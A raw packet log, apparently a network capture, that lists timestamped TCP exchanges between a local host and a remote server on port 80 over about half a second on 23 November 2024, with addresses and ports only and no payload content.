Nov 23, 2024 03:21:12.850183964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.851201057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.851262093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.851284027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.851327896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.852328062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.852370977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.852426052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.852483034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.853455067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.853506088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.853543997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.853591919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.854609013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.854659081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.854727030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.854768991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.855736971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.855792999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.855837107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.855885029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.856867075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.856909990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.856956005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.856997967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.857940912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.857994080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.999658108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.999712944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:12.999757051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:12.999939919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.000101089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.000152111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.000180006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.000602961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.001233101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.001329899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.001347065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.001399040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.002377987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.002434015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.002473116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.002593040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.003496885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.003609896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.003640890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.003660917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.004640102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.004690886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.004736900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.004805088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.005776882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.005835056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.005873919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.005949974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.006913900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.006962061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.006999016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.007045031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.008050919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.008100986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.008169889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.008213997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.009191036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.009241104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.009289026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.009334087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.010339975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.010399103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.010437012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.010483980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.011483908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.011533976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.011598110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.011642933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.012656927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.012702942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.012819052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.012864113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.013761997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.013849020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.013883114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.013930082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.014889956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.014957905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.014991045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.015027046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.016026974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.016084909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.016123056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.016457081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.017184973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.017226934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.017309904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.017541885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.018301010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.018363953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.018404961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.018441916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.019438982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.019489050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.019556999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.019629002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.020581007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.020628929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.020692110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.020824909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.021743059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.021842957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.021883011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.022866011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.022906065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.022979975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.023021936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.023998022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.024064064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.024121046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.024209023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.025134087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.025202036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.025242090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.025290012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.026267052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.026309967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.026396036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.026443958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.027416945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.027467966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.027533054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.027579069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.028593063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.028669119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.028707027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.028745890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.029722929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.029772043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.029835939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.029932976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.030868053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.030905962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.030975103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.031080961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.032015085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.032058001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.032139063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.032186985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.033134937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.033178091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.033231020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.033273935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.034276009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.034321070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.034380913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.034554958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.035435915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.035480022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.035500050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.035540104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.036551952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.036592960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.036658049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.036696911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.037664890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.037703037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.037786007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.037822008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.038815975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.038867950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.038918018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.038970947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.039947987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.039994001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.040033102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.040080070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.041073084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.041167974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.041182041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.041321039 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.042220116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.042278051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.042315960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.042362928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.043356895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.043407917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.043447971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.043487072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.044487953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.044554949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.044590950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.044673920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.045676947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.045728922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.045787096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.045830011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.046763897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.046808004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.046883106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.046927929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.047913074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.047976017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.048012972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.048052073 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.049046040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.049113035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.049149990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.049194098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.050189018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.050256014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.050286055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.050333977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.051307917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.051361084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.051444054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.051484108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.052479029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.052527905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.052587032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.052629948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.053613901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.053699970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.053704023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.053747892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.054740906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.054816008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.054847956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.054891109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.055881023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.055958986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.056020975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.056061983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.057013988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.057077885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.057111979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.057153940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.058144093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.058192968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.058250904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.058289051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.059236050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.059281111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.200831890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.200850964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.200882912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.200911045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.201359034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.201406002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.201426983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.201472044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.202506065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.202610016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.202639103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.202687025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.203613997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.203727007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.203779936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.204766989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.204830885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.204870939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.204914093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.205907106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.205955029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.206001997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.206047058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.207051992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.207097054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.207153082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.207201004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.208192110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.208236933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.208282948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.208328962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.209311008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.209357023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.209414959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.209460974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.210450888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.210503101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.210544109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.210587978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.211595058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.211642981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.211710930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.211765051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.212728977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.212776899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.212826967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.212888956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.213870049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.213917017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.213964939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.214001894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.214991093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.215080976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.215120077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.215240002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.216144085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.216188908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.216238022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.216300964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.217288971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.217338085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.217386961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.217427015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.218425989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.218497992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.218535900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.218596935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.219558001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.219661951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.219665051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.219731092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.220705032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.220761061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.220802069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.220949888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.221843004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.221899986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.221940041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.221983910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.222981930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.223032951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.223078012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.223126888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.224138021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.224205017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.224240065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.224348068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.225265980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.225311995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.225351095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.225398064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.226393938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.226439953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.226486921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.226531029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.227591991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.227637053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.227679014 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:13.227833986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:13.228693962 CET	80	49760	31.41.244.11	192.168.2.4
